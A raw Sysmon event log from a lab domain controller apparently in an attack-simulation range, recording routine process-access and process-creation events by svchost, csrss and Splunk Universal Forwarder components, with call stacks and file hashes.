L+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005706Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005705Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2997-5F80-4401-000000007F01}4928C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005704Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2997-5F80-4401-000000007F01}4928C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005703Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.956{A5F018FF-2997-5F80-4401-000000007F01}4928C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005702Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.516{A5F018FF-2997-5F80-4301-000000007F01}50244840C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005701Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2997-5F80-4301-000000007F01}5024C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005700Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005699Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005698Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005697Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005696Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005695Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005694Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005693Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005692Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005691Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2997-5F80-4301-000000007F01}5024C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005690Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.376{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2997-5F80-4301-000000007F01}5024C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005689Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.377{A5F018FF-2997-5F80-4301-000000007F01}5024C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005716Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:56.094{A5F018FF-2997-5F80-4401-000000007F01}49283496C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005729Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2999-5F80-4501-000000007F01}3320C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005728Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005727Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005726Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005725Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005724Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005723Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005722Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\